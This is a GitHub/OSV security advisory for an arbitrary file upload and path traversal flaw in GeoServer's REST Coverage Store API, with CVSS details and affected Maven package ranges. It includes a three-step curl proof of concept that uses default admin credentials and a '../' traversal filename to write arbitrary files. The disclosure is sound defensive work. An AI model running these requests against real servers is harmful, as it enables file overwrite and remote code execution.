GHSA-9v5q-2gwq-q9hq

Suggest an improvement
Source
https://github.com/advisories/GHSA-9v5q-2gwq-q9hq
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/03/GHSA-9v5q-2gwq-q9hq/GHSA-9v5q-2gwq-q9hq.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-9v5q-2gwq-q9hq
Aliases
Published
2024-03-20T14:54:59Z
Modified
2024-03-20T15:43:58Z
Severity
  • 7.2 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H CVSS Calculator
Summary
Arbitrary file upload vulnerability in GeoServer's REST Coverage Store API
Details

Summary

An arbitrary file upload vulnerability exists that enables an authenticated administrator with permissions to modify coverage stores through the REST Coverage Store API to upload arbitrary file contents to arbitrary file locations which can lead to remote code execution.

Details

Coverage stores that are configured using relative paths use a GeoServer Resource implementation that has validation to prevent path traversal but coverage stores that are configured using absolute paths use a different Resource implementation that does not prevent path traversal.

PoC

Step 1 (create sample coverage store): curl -vXPUT -H"Content-type:application/zip" -u"admin:geoserver" --data-binary @polyphemus.zip "http://localhost:8080/geoserver/rest/workspaces/sf/coveragestores/filewrite/file.imagemosaic" Step 2 (switch store to absolute URL): curl -vXPUT -H"Content-Type:application/xml" -u"admin:geoserver" -d"<coverageStore><url>file:///{absolute path to data directory}/data/sf/filewrite</url></coverageStore>" "http://localhost:8080/geoserver/rest/workspaces/sf/coveragestores/filewrite" Step 3 (upload arbitrary files): curl -vH"Content-Type:" -u"admin:geoserver" --data-binary @file/to/upload "http://localhost:8080/geoserver/rest/workspaces/sf/coveragestores/filewrite/file.a?filename=../../../../../../../../../../file/to/write" Steps 1 & 2 can be combined into a single POST REST call if local write access to anywhere on the the file system that GeoServer can read is possible (e.g., the /tmp directory).

Impact

This vulnerability can lead to executing arbitrary code. An administrator with limited privileges could also potentially exploit this to overwrite GeoServer security files and obtain full administrator privileges.

References

https://osgeo-org.atlassian.net/browse/GEOS-11176 https://github.com/geoserver/geoserver/pull/7222

Database specific
{
    "nvd_published_at": "2024-03-20T15:15:07Z",
    "cwe_ids": [
        "CWE-20",
        "CWE-434"
    ],
    "severity": "HIGH",
    "github_reviewed": true,
    "github_reviewed_at": "2024-03-20T14:54:59Z"
}
References

Affected packages

Maven / org.geoserver:gs-platform

Package

Name
org.geoserver:gs-platform
View open source insights on deps.dev
Purl
pkg:maven/org.geoserver/gs-platform

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
2.23.4

Maven / org.geoserver:gs-restconfig

Package

Name
org.geoserver:gs-restconfig
View open source insights on deps.dev
Purl
pkg:maven/org.geoserver/gs-restconfig

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
2.23.4

Maven / org.geoserver:gs-platform

Package

Name
org.geoserver:gs-platform
View open source insights on deps.dev
Purl
pkg:maven/org.geoserver/gs-platform

Affected ranges

Type
ECOSYSTEM
Events
Introduced
2.24.0
Fixed
2.24.1

Affected versions

2.*

2.24.0

Maven / org.geoserver:gs-restconfig

Package

Name
org.geoserver:gs-restconfig
View open source insights on deps.dev
Purl
pkg:maven/org.geoserver/gs-restconfig

Affected ranges

Type
ECOSYSTEM
Events
Introduced
2.24.0
Fixed
2.24.1

Affected versions

2.*

2.24.0